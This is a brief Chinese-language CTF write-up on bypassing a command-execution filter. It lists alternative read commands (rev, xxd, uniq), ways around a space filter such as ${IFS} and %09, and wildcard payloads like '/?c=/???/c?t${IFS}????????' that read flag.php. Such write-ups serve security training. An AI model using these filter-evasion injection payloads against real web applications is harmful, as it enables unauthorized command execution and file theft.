命令执行,需要严格的过滤
了解一个正则表达式的小知识
.* 代表匹配0到无数个字符
我们通过读代码得知它过滤了很多内容 flag cat等等
那么我们就只好选择用?来代替我们要输入的内容的方式/或者用它没有匹配的方法,比如:
- uniq:用于检查及删除文本文件中重复出现的行列,一般与 sort 命令结合使用。
- xxd:命令转换二进制文件为十六进制文件
- rev:翻转读文件
来输入。绕过空格的方法:
- %09 Tab键的URL编码
- $IFS$9 $IFS是内部字段分隔符的缩写
- ${IFS}
- < 重定向符号
那么我们用?c=rev${IFS}fla?.php来试一下
成功拿到flag
最后我们再将他逆置过来即可
我们也可以用一种不太精确的方式,即?代替被过滤的内容来达到我们的目的
/?c=/???/c?t${IFS}????????
即/?c=/bin/cat flag.php